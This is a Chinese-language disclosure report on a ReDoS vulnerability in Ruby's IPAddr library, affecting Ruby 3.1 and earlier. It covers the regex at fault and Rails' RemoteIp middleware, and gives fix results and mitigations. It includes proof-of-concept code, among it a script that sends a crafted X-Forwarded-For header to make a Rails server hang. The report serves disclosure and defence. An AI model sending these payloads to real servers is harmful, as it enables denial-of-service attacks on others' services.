Ruby IPAddr ReDoS漏洞分析报告
漏洞概述
在Ruby的IPAddr库中发现了一个正则表达式拒绝服务(ReDoS)漏洞。该漏洞存在于IPAddr.new方法中,当处理特定格式的恶意输入时,会导致正则表达式匹配时间呈指数级增长。
漏洞详情
漏洞位置
1
2
3
4
5
6
7
|
# lib/ipaddr.rb 第525行
def mask!(mask)
case mask
when String
case mask
when /\A(0|[1-9]+\d*)\z/ # 存在漏洞的正则表达式
prefixlen = mask.to_i
|
漏洞原理
正则表达式/\A(0|[1-9]+\d*)\z/
在处理超长数字字符串时存在ReDoS风险。攻击者可以构造特殊格式的输入,如"0.0.0.0/" + '1' * 50000 + '.'
,导致正则匹配时间急剧增加。
影响方法
该漏洞影响以下IPAddr方法:
IPAddr.new
include?
==
比较操作
|
和&
位操作
PoC验证
基础PoC
1
2
3
4
|
require 'ipaddr'
# 触发ReDoS
IPAddr.new("0.0.0.0/" + '1' * 50000 + '.')
|
性能测试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
require 'benchmark'
require 'ipaddr'
def ipaddr_new(length)
text = "0.0.0.0/" + '1' * length + '.'
IPAddr.new(text)
rescue IPAddr::InvalidAddressError
nil
end
Benchmark.bm do |x|
x.report { ipaddr_new(100) } # 0.000055秒
x.report { ipaddr_new(1000) } # 0.002968秒
x.report { ipaddr_new(10000) } # 0.302580秒
x.report { ipaddr_new(100000) } # 31.255489秒
end
|
Rails应用影响
受影响组件
ActionDispatch::RemoteIp中间件默认使用IPAddr进行IP地址验证:
1
2
3
4
5
6
7
8
9
10
11
|
# action_dispatch/middleware/remote_ip.rb 第172行
def ips_from(header)
return [] unless header
ips = header.strip.split(/[,\s]+/)
ips.select do |ip|
range = IPAddr.new(ip).to_range
range.begin == range.end
rescue ArgumentError
nil
end
end
|
Rails攻击向量
1
2
3
4
5
6
7
8
9
10
|
require 'net/http'
url = URI.parse('http://127.0.0.1:3000/')
req = Net::HTTP::Get.new(url.path)
req['X-Forwarded-For'] = "0.0.0.0/" + '1' * 80000 + '.'
# 发送恶意请求触发ReDoS
res = Net::HTTP.start(url.host, url.port) {|http|
http.request(req)
}
|
修复情况
Ruby 3.2.0修复
在Ruby 3.2.0中,通过正则表达式引擎优化解决了此问题:
1
2
3
4
5
6
|
# Ruby 3.2.0性能测试结果
user system total real
0.000031 0.000001 0.000032 ( 0.000031)
0.000056 0.000077 0.000133 ( 0.000134)
0.000385 0.000050 0.000435 ( 0.000435)
0.003579 0.000456 0.004035 ( 0.004035)
|
Ruby 3.3.0确认修复
1
2
3
4
5
6
|
# Ruby 3.3.0性能测试结果
user system total real
0.000044 0.000008 0.000052 ( 0.000051)
0.000073 0.000007 0.000080 ( 0.000079)
0.000565 0.000050 0.000615 ( 0.000614)
0.005460 0.000551 0.006011 ( 0.006022)
|
影响评估
- 影响版本: Ruby 3.1及以下版本
- 修复版本: Ruby 3.2.0及以上
- 攻击场景: 任何接受用户输入并传递给IPAddr.new的应用
- 特别风险: Rails应用默认配置下可通过HTTP头攻击
缓解措施
- 升级到Ruby 3.2.0或更高版本
- 对用户输入的IP地址进行长度限制
- 在反向代理层(如nginx)限制HTTP头长度(默认约8KB)
- 避免将不可信输入直接传递给IPAddr.new
时间线
- 2022-02-19: 漏洞报告提交
- 2022-03-07: Ruby团队确认为有效漏洞
- 2022-12-28: 确认Ruby 3.2.0已修复
- 2023-12-26: 确认Ruby 3.3.0修复稳定
- 2025-06-03: 漏洞标记为已修复
- 2025-06-08: 报告公开披露
该漏洞已在Ruby 3.2.0中通过正则表达式引擎优化得到修复,建议所有用户升级到受支持的Ruby版本。